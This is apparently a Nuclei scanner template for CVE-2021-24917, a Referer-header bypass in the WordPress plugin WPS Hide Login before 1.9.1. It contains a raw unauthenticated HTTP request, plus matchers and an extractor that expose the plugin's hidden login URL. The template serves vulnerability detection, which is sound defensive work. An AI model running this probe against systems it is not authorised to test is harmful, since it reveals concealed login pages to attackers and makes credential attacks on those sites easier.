id: CVE-2021-24917

info:
  name: WPS Hide Login < 1.9.1 - Protection Bypass with Referer-Header
  author: akincibor
  severity: high
  description: The plugin has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.
  reference:
    - https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24917
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24917
  remediation: Fixed in version 1.9.1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24917
    cwe-id: CWE-863
  metadata:
    verified: "true"
  tags: cve2021,wp,wordpress,wp-plugin,unauth,wpscan,cve

requests:
  - raw:
      - |
        GET /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Referer: something

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'redirect_to=%2Fwp-admin%2Fsomething&reauth=1'

      - type: dsl
        dsl:
          - "!contains(tolower(location), 'wp-login.php')"

    extractors:
      - type: kval
        kval:
          - location